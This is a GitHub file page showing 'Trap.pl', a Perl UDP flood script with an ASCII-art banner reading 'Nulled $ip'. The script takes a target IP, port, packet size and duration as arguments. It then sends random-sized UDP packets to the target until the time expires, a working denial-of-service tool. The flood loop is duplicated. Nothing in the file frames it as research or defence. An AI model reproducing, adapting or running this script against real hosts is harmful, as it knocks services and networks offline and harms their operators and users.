-
Notifications
You must be signed in to change notification settings - Fork 47
/
Trap.pl
83 lines (68 loc) · 3.41 KB
/
Trap.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/perl
##
#!/usr/bin/perl
use Socket;
use strict;
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print <<EOTEXT;
_____________¶____¶_______________________________
____________¶¶____¶¶______________________________
___________¶¶¶___¶¶¶______________________________
___________¶¶¶___¶¶¶______________________________
___________¶¶___¶¶¶_______________________________
___________¶¶___¶¶________________________________
___________¶¶_¶¶__________________________________
___________¶¶¶____________________________________
____________¶¶____________________________________
_____________888¶¶________________________________
____________¶¶¶_8¶¶_______________________________
____________¶¶¶¶_88¶______________________________
_____________¶¶¶8_88¶_____________________________
_____________8¶¶¶8_88¶____________________________
______________¶¶¶¶__888___________________________
______________¶¶¶¶¶_88¶8__________________________
_______________¶¶¶¶¶_88¶8_________________________
________________¶¶¶¶8_88¶8________________________
________________¶¶¶¶¶__88¶________________________
_________________¶¶¶¶¶_88¶________________________
_________________¶¶¶¶¶¶_88¶_______________________
________________¶¶¶¶¶¶¶8_88¶______________________
______________8¶88¶88¶¶¶8_¶8¶_____________________
______________¶¶_8¶¶¶¶¶¶¶_8¶8¶8___________________
______________8¶8_8¶¶¶¶¶¶¶8¶¶8¶¶__________________
_______________¶¶_8¶¶8¶¶¶¶88¶¶8¶¶8________________
____________8888¶¶¶¶¶88¶¶8¶88¶¶¶¶8________________
_________8888_88¶¶¶¶¶¶¶¶¶¶8¶__¶¶¶_________________
________8_8888__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_________________
_______8_888_888___888¶¶¶¶¶¶¶¶¶¶__________________
______8__8¶8__¶¶8_____88¶¶¶¶¶¶8___________________
_____¶¶8888888__8888____8¶¶¶¶¶¶8__________________
____¶¶¶¶¶¶88¶8___8¶¶88_8¶¶¶¶¶8¶8__________________
____¶¶¶¶¶¶¶¶¶¶___8¶¶¶¶¶¶¶¶¶¶8_____________________
_____¶¶¶8¶¶¶¶8__888¶¶888¶¶¶¶¶¶____________________
______¶¶¶¶888¶8_88¶¶¶¶¶¶¶¶¶¶¶¶¶___________________
_______¶¶¶¶888¶¶¶¶¶8¶¶¶¶¶¶¶¶¶¶¶¶__________________
_______¶¶¶¶¶¶¶¶¶¶¶8___¶¶¶¶8¶¶¶¶¶¶_________________
______8¶¶¶¶¶¶¶¶¶¶______¶88¶¶¶¶¶¶¶¶8_______________
______¶8¶¶¶¶¶¶¶¶8______¶¶¶¶¶¶8888¶¶8______________
_____8¶8¶¶¶8¶¶¶¶________¶¶¶888__8888¶8____________
____8¶¶¶¶¶8¶¶¶¶¶________8¶8__88____888¶8__________
___88_88¶¶¶¶¶¶¶__________88__888______88¶8________
__88______888¶____________8____88________8¶8______
MemeCFW And TrapInc
Nulled $ip
For $time Seconds
EOTEXT
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
$iaddr));}for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
$iaddr));}